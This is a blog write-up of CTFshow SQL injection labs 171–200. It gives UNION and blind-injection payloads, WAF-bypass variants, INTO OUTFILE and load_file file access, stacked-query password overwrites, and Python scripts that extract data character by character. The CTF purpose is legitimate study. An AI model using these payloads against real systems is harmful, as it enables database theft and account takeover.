CTFshow web入门 SQL注入(171-200)

几乎是看着wp边做边学的

web171

查询语句

//拼接sql语句查找指定ID用户
$sql = "select username,password from user where username !='flag' and id = '".$_GET['id']."' limit 1;";

AI给的答案:
拼接’闭合语句 由于SQL 中逻辑运算符的优先级为:NOT > AND > OR 在id后面补充

1' OR '1'='1

修改后等价于
WHERE (username != 'flag' AND id = '1') OR ('1' = '1')
使where语句永真,绕过限制
先单引号尝试一下,报错了
assets/CTFshow web入门 SQL注入(171-200)/file-20250707221433970.png
加上--+

--是Mysql的单行注释符,+不对查询有影响,只是增大注入成功的概率,--可能被屏蔽
assets/CTFshow web入门 SQL注入(171-200)/file-20250707221512321.png
闭合之后成功了

接着确定字段数

id=1' ORDER BY 3 --+

3可以,4报错,所以一共有三个字段
assets/CTFshow web入门 SQL注入(171-200)/file-20250707221902601.png
查询数据库名和其他信息

id=1' union select 1,2,database()--+

assets/CTFshow web入门 SQL注入(171-200)/file-20250707223243493.png

0' union select database(),user(),version()--+

assets/CTFshow web入门 SQL注入(171-200)/file-20250707224232097.png
查询表名

0' union select group_concat(table_name),2,3 from information_schema.tables where table_schema='ctfshow_web'--+

我看别的佬都是一个表,应该是靶场的原因,我开的是172的靶场,做的171的题,所以有两个表
assets/CTFshow web入门 SQL注入(171-200)/file-20250707223728368.png
查询列名

1' union select 1,2,group_concat(column_name) FROM information_schema.columns where table_schema=database() and table_name='ctfshow_user'--+

assets/CTFshow web入门 SQL注入(171-200)/file-20250707224810164.png
查询数据
第一题的答案在ctfshow_web,第二题在ctfshow_web2

0' union select id,username,password from ctfshow_user.ctfshow_user2--+

web172

同理
flag在ctfshow_web2表里

web173

assets/CTFshow web入门 SQL注入(171-200)/file-20250708000222419.png
关注逻辑,已知password列里面没有flag

1' union select 1,2,group_concat('+',password) from ctfshow_user3 where username='flag'--+

assets/CTFshow web入门 SQL注入(171-200)/file-20250708000525792.png

一般思路,base64编码、Hex

1' union select 1,2,to_base64(password) from ctfshow_user3 where username='flag'--+
-1' union select 1,to_base64(username),hex(password) from ctfshow_user3 --+

assets/CTFshow web入门 SQL注入(171-200)/file-20250708000503456.png
assets/CTFshow web入门 SQL注入(171-200)/file-20250708000620337.png

web174

assets/CTFshow web入门 SQL注入(171-200)/file-20250708003002007.png
只有两列有回显,而且不输出数字
assets/CTFshow web入门 SQL注入(171-200)/file-20250708002901583.png
assets/CTFshow web入门 SQL注入(171-200)/file-20250708002914321.png
assets/CTFshow web入门 SQL注入(171-200)/file-20250708002931349.png
assets/CTFshow web入门 SQL注入(171-200)/file-20250708002944935.png
查询的语句里也不能出现数字,因为返回时会被屏蔽掉
assets/CTFshow web入门 SQL注入(171-200)/file-20250708003304490.png
0' union select group_concat(table_name),'a' from information_schema.tables where table_schema=database()--+

1' union select 'a',group_concat(table_name) from information_schema.tables where table_schema=database() --+
因此表明按规律来有4,所以无数据
assets/CTFshow web入门 SQL注入(171-200)/file-20250712225120798.png

思路一:替换数字为A,B...,嵌套10个repalce()

猜测答案在password,则

0' union select replace(replace(replace(replace(replace(replace(replace(replace(replace(replace(password,'1','A'),'2','B'),'3','C'),'4','D'),'5','E'),'6','F'),'7','G'),'8','H'),'9','I'),'0','J'),'a' from ctfshow_user4--+

assets/CTFshow web入门 SQL注入(171-200)/file-20250712230446459.png
再换回去
不会Python,C++写了一个
assets/CTFshow web入门 SQL注入(171-200)/file-20250712231820598.png
招笑

#include<iostream>
using namespace std;
int main()
{
	string a;
	a="ctfshow{DeGcAdEJ-cFBF-DAaC-IHFH-eJAeAdCbHffd}";
	for(int i=0;i<a.size();i++)
		if(a[i]>='A' && a[i]<='Z') 
			a[i]=(int)a[i]-(int)'A'+'0';
	cout<<a;
	return 0;
}
思路二:布尔盲注

注意要将路径改为/api/v4.php ,原本的路径无法正常返回response(为什么?)
根据大佬的思路,去抓包发现访问的是/api/v4.php这个东东(可恶)

import requests
payload = "0' union select 'a',if(ascii(substr((select password from ctfshow_user4 where username='flag'),{},1))>{},'cluster','boom') %23"

url = "http://1a4ab30a-cae4-439b-bbde-dddb10c3e851.challenge.ctf.show/api/v4.php?id="


def test_chr(index: int, offset: int):
    response = requests.get(url + payload.format(index, offset))
    #print(response.text)
    assert "cluster" in response.text or "boom" in response.text

    if "cluster" in response.text:
        return True
    elif "boom" in response.text:
        return False

index = 1
flag = ""
while True:
    start = 32
    end = 127
    while True:
        if abs(start-end) == 1 or start == end:
            break
        point = (start + end) // 2
        if test_chr(index, point):
            start = point
        else:
            end = point
    if end < start:
        end = start
    flag += chr(end)
    print(f"[*] flag: {flag}")
    index += 1

web 175

所有ascii字符都被屏蔽了0~127
assets/CTFshow web入门 SQL注入(171-200)/file-20250712233649288.png
无回显

思路一:读写文件

利用读写文件写入网站根目录

https://f3147ef0-e817-452d-981b-bbd97c30049d.challenge.ctf.show/api/v5.php?id=1' union select 1,password from ctfshow_user5 into outfile '/var/www/html/1.txt'--+&page=1&limit=10

之后访问https://f3147ef0-e817-452d-981b-bbd97c30049d.challenge.ctf.show/1.txt
assets/CTFshow web入门 SQL注入(171-200)/file-20250716111103819.png

思路二:时间盲注

测试
1' and if(1=1,sleep(3),1)--+&page=1&limit=10 后面是控制返回数据,防止截断
这里Y神已经知道是第24排的内容,根据之前的题目猜测在最后一排

# @Author:Y4tacker
import requests
url = "http://ba76949e-7eb1-43c8-9627-e4bec656336d.challenge.ctf.show/api/v5.php?id=1' and "

result = ''
i = 0
while True:
    i = i + 1
    head = 32
    tail = 127
    while head < tail:
        mid = (head + tail) >> 1
        payload = f'1=if(ascii(substr((select password from ctfshow_user5 limit 24,1),{i},1))>{mid},sleep(2),0) -- -'
        try:
            r = requests.get(url + payload, timeout=0.5)
            tail = mid
        except Exception as e:
            head = mid + 1
    if head != 32:
        result += chr(head)
    else:
        break
    print(result)

assets/CTFshow web入门 SQL注入(171-200)/file-20250716155724473.png

web 176

思路一:万能注入秒了
1' or 1=1 --+
思路二:大小写过滤

先试一下

1' union select 1,2,database()

过滤了,改个大小写

1' Union Select 1,2,database()

出了,直接看flag

1' Union Select 1,2,password from ctfshow_user --+

web 177

空格绕过,--+用不了
改成/**/注释绕过和%23

1'/**/union/**/select/**/1,2,password/**/from/**/ctfshow_user%23

web178

过滤空格和*,使用%09tab水平制表符,%0c也行

1'%09Union%09Select%091,2,password%09from%09ctfshow_user%23

assets/CTFshow web入门 SQL注入(171-200)/file-20250717094553308.png
万能密码也能出,就是用字符‘1’

1'or'1'='1'%23

web 179

万能密码出

1'or'1'='1'%23

过滤了空格和*,%09和其他都过滤了,%0c换页符能行

1'%0cunion%0cselect%0c1,2,password%0cfrom%0cctfshow_user%23

assets/CTFshow web入门 SQL注入(171-200)/file-20250717095626148.png

web180-182

思路一:注释被绕过,但是--%0c还可以 (web180可以)
1'%0cunion%0cselect%0c1,2,password%0cfrom%0cctfshow_user--%0c
思路二:不要注释,直接输出第26
-1'or(id=26)and'1'='1

web183

猜测表名是ctfshow_user
assets/CTFshow web入门 SQL注入(171-200)/file-20250717112239963.png
返回了
assets/CTFshow web入门 SQL注入(171-200)/file-20250717112307728.png
只有一个返回,可以利用这个进行盲注,pass是列名,题目已知
代码隐含假设只需破解单条记录的 pass字段

import requests
import re
url="http://5797c4b4-1d5d-454c-824f-892cf8dc6869.challenge.ctf.show/select-waf.php"
str="abcdefghijklmnopqrstuvwxyz-1234567890{}"
re=""
print(123)
for i in range(1,46):
    for j in str:
        data={
          'tableName':f"`ctfshow_user`where(substr(`pass`,{i},1)regexp('{j}'))"
        }
        r=requests.post(url=url,data=data).text
        if r.find(" $user_count = 1;")>0:
            re=re+j
            print(re)
            break

出来的不是规范ctfshow{}的flag,不知道对不对

web184

assets/CTFshow web入门 SQL注入(171-200)/file-20250717205506063.png
把单引号双引号都过滤了,但是空格没过滤,也没办法进行盲注,看Y4tacker用right join on绕过
SQL RIGHT JOIN 关键字 | 菜鸟教程

RIGHT JOIN 关键字从右表(table2)返回所有的行,即使左表(table1)中没有匹配。如果左表中没有匹配,则结果为 NULL。

我觉得挺奇怪的,不知道为什么是$user_count=43,于是找到另一个脚本。利用having和Like的模糊匹配,能跑通,注意使用http

import requests
import re

url="http://90de8628-b42a-46dd-a23e-24f31e236581.challenge.ctf.show/select-waf.php"
letter="abcdefghijklmnopqrstuvwxyz-1234567890{}"
flag=""
c=""
d=""
for i in range(1,100):
    for k in letter:
        d=hex(ord(k))[2:]
        data={
            'tableName':"ctfshow_user group by pass having pass like 0x63746673686f77{}25".format(flag+d)
        }
        r=requests.post(url,data=data)
        if " $user_count = 1;" in r.text:
            c=c+k
            flag+=d
            print(c)
            break

assets/CTFshow web入门 SQL注入(171-200)/file-20250718100749535.png

web185-186

这里贴一张Y神给的图,里面表示的是mysql中利用函数绕过数字的技巧
assets/CTFshow web入门 SQL注入(171-200)/file-20250718115046566.png
本题中绕过了数字,在匹配的时候输入的字符不能含有这么一堆
对比之前检查结果是否有flag和数字(利用replace,或者盲注)
assets/CTFshow web入门 SQL注入(171-200)/file-20250718115211484.png
这里使用true在sql里表示1,写自动化脚本来将数字转化为n个true相加,如果数字没被过滤,字母被过滤了,可以使用ord(),自动转化为Ascii码

@Author 莲包ovo of
import requests
import re
def createNum(n):#n个true相加的字符串
    str=''
    for i in range(1,n+1):
        if(i==1):
            str+="true"
        else:
            str+="+true"
    return str

def creatStr(str):#转换成(chr(),chr()...)的形式
    res=""
    for i in range(1,len(str)+1):
        temp=ord(str[i-1])
        if(i==1):
            res="chr("+createNum(temp)+")"
        else:
            res+=","+"chr("+createNum(temp)+")"
    return res

url="http://4d265717-a2c9-4e38-b911-edfec942b78c.challenge.ctf.show/select-waf.php"
letter="abcdefghijklmnopqrstuvwxyz-1234567890{}"
flag="ctfshow{"

for i in range(50):
    for ch in letter:
        result=creatStr(flag+ch)
        data={
            'tableName':"ctfshow_user group by pass having pass regexp(concat({}))".format(result)
        }
        response=requests.post(url,data=data)
        if "$user_count = 1;" in response.text:
            flag+=ch
            print(flag)
            break

ctfshow{51fe3c8f-15d5-4b47-a997-b0d820d34e1c}

web 187

username就是admin不用管
$password = md5($_POST['password'],true);
要对password进行md5加密,返回的是原始二进制数据
password=md5($pass,true)绕过、弱类型、MD5强碰撞_select * from 'admin' where password=md5($pass,tru-CSDN博客这个师傅讲的特别清楚了
在password=ffifdyop时,MD5之后转换为16进制数据

由于ffifdyop被md5加密后的276f722736c95d99e921722cf9ed621c转换成16位原始二进制格式为'or’6\xc9]\x99\xe9!r,\xf9\xedb\x1c,这个字符串前几位刚好是' or '6
MD5加密 276F722736C95D99E921722CF9ED621C
16位原始二进制格式 'or’6\xc9]\x99\xe9!r,\xf9\xedb\x1c
string 'or’6]!r,b
在mysql内,用作布尔型判断时,以1开头的字符串会被当做整型数。要注意的是这种情况是必须要有单引号括起来的,比如password=' or '1xxxx',那么就相当于password=' or 1,所以返回值就是true
所以这里使用的sql语句可以化简为
select * from 'admin' where password='or 6

用Bp抓包
assets/CTFshow web入门 SQL注入(171-200)/file-20250718162417860.png

web 188

PHP intval()函数详解,intval()函数漏洞原理及绕过思路_intval函数-CSDN博客
username=0 password=0 就出flag
说明数据库存在 username=0且 pass=0的记录​​:查询结果返回 pass=0,与 intval(0)=0匹配,触发 flag

web 189

发现当username!=0 时且为纯数字是,无论密码是什么都是查询失败;当username=0时,密码是啥都是密码错误
先判断出flag的位置,再盲注出答案

# Author:Y4tacker
import requests
url = "http://cfd0b291-6e24-47ee-b1f9-fb0ddcffa185.challenge.ctf.show/api/"
# data = {
#             'username': "if(locate('flag{',"+"load_file('/var/www/html/api/index.php'))>6,0,1)",
#             'password': '1'
#         }
# r = requests.post(url, data=data)
# print(r.json()['msg'])

def getFlagIndex():
    head = 1
    tail = 300
    while head < tail:
        mid = (head + tail) >> 1
        data = {
            'username': "if(locate('ctfshow{'," + "load_file('/var/www/html/api/index.php'))>{0},0,1)".format(str(mid)),
            'password': '1'
        }
        r = requests.post(url, data=data)
        if "密码错误" == r.json()['msg']:
             head = mid + 1
        else:
             tail = mid
    return mid

def getFlag(num):
    i = int(num)
    result = ""
    while 1:
        head = 32
        tail = 127
        i = i + 1
        while head < tail:
            mid = (head + tail) >> 1
            data = {
                'username': "if(ascii(substr(load_file('/var/www/html/api/index.php'),{0},1))>{1},0,1)".format(str(i),str(mid)),
                'password': '1'
            }
            r = requests.post(url, data=data)
            if "密码错误" == r.json()['msg']:
                head = mid + 1
            else:
                tail = mid
        if head != 32:
            result += chr(head)
            print(result)
        else:
            break
if __name__ == '__main__':
    index = getFlagIndex()
    getFlag(index)

web 190

select语句当做参数时要加括号,从i=1开始查,否则会直接退出
数据库名:ctfshow_web
表名:ctfshow_fl0g,ctfshow_user
查列名:id,f1ag
查数据:ctfshow{f32bda26-eab1-4b1c-b89b-283795cfe935}

import requests
url="http://a011a243-4b3d-49cd-b38d-edea45e5302f.challenge.ctf.show/api/"
result=""

for i in range(1,50):
    head=32
    tail=127
    while head<tail:    
        mid=(head+tail)>>1
        #payload="select database()"
        #payload="select group_concat(table_name) from information_schema.tables where table_schema='ctfshow_web'"
        #payload="select group_concat(column_name) from information_schema.columns where table_schema=database() and table_name='ctfshow_fl0g'"
        payload="select group_concat(f1ag) from ctfshow_fl0g"
        data={
            'username':f"admin' and if(ascii(substr(({payload}),{i},1))>{mid},1,0)='1'#",
            'password':"1"
        }
        r=requests.post(url=url,data=data)
        # print(head,tail,mid)
        # print(r.json())
        if "密码错误"==r.json()['msg']:
            head=mid+1
        else:
            tail=mid
    if head!=32:
        result+=chr(head)
    else :
        break
    print(result)

web191

过滤了acsii,用ord()
脚本同上

web 192

使用正则表达式

import requests
import re
url="http://88c2b3ff-b903-4d2b-86bc-d1499fd7770f.challenge.ctf.show/api/"
result=""
letters = "0123456789abcdefghijklmnopqrstuvwxyz_-{}"
for i in range(1,50):
    for j in letters:
        #payload="select database()"
        # payload="select group_concat(table_name) from information_schema.tables where table_schema='ctfshow_web'"
        # payload="select group_concat(column_name) from information_schema.columns where table_schema=database() and table_name='ctfshow_fl0g'"
        payload="select group_concat(f1ag) from ctfshow_fl0g"
        data={
            'username':f"admin' and if(substr(({payload}),{i},1)regexp('{j}'),1,0)='1'#",
            'password':"1"
        }
        r=requests.post(url=url,data=data)
        # print(head,tail,mid)
        # print(head,tail,mid)
        # print(r.json())
        if r.json()["msg"]=="密码错误":
            result+=j
            print(result)

web 193

表名改了一下

import requests
import re


url="http://0076d613-81b9-43a3-82ec-4b66bf4149ca.challenge.ctf.show/api/"
result=""
letters = "0123456789abcdefghijklmnopqrstuvwxyz_-{}"
for i in range(1,50):
    for j in letters:
        # payload="select database()"
        # payload="select group_concat(table_name) from information_schema.tables where table_schema='ctfshow_web'"
        # payload="select group_concat(column_name) from information_schema.columns where table_schema=database() and table_name='ctfshow_flxg'"
        payload="select group_concat(f1ag) from ctfshow_flxg"
        data={
            'username':f"admin' and if(mid(({payload}),{i},1)regexp('{j}'),1,0)='1'#",
            'password':"1"
        }
        r=requests.post(url=url,data=data)
        # print(head,tail,mid)
        # print(head,tail,mid)
        # print(r.json())
        if r.json()["msg"]=="密码错误":
            result+=j
            print(result)

web 194

能直接白嫖193的代码
也是可以使用locate

堆叠注入

web 195

这里没有单引号包括
Y4大佬做法如下

payload="0x61646d696e;update`ctfshow_user`set`pass`=0x313131;"#输入两次,第一次触发修改
#至于为什么非得用十六进制登录,是因为下面这个没有字符串单引号包围
sql = "select pass from ctfshow_user where username = {$username};";

VS
assets/CTFshow web入门 SQL注入(171-200)/file-20250722162736612.png
可以观察到这里图中含有单引号包围
如果 $username没有被单引号包围,会将将变量值作为​​标识符或表达式​​处理

  • 例如,如果$username = "admin",实际执行的SQL为:select pass from ctfshow_user where username = admin;

assets/CTFshow web入门 SQL注入(171-200)/file-20250723153905458.png

web 196

实际执行
select pass from ctfshow_user where username =0;select(1);
很奇怪这里的语法,求教

web 197-198

assets/CTFshow web入门 SQL注入(171-200)/file-20250723160947218.png
该题就是使返回值与密码一致。表中为空,所以执行后一句语句可能返回会表名
1;show tables
or用insert

  username   0' insert ctfshow_user(`username`,`pass`) value(1,2)
  password   123

再输入用户名为1,密码为2

@Author:Y4tacker
......1;show tables ctfshow_user 秒杀190-200

posted @ 2025-08-01 17:00  yiyouyy  阅读(158)  评论(2)    收藏  举报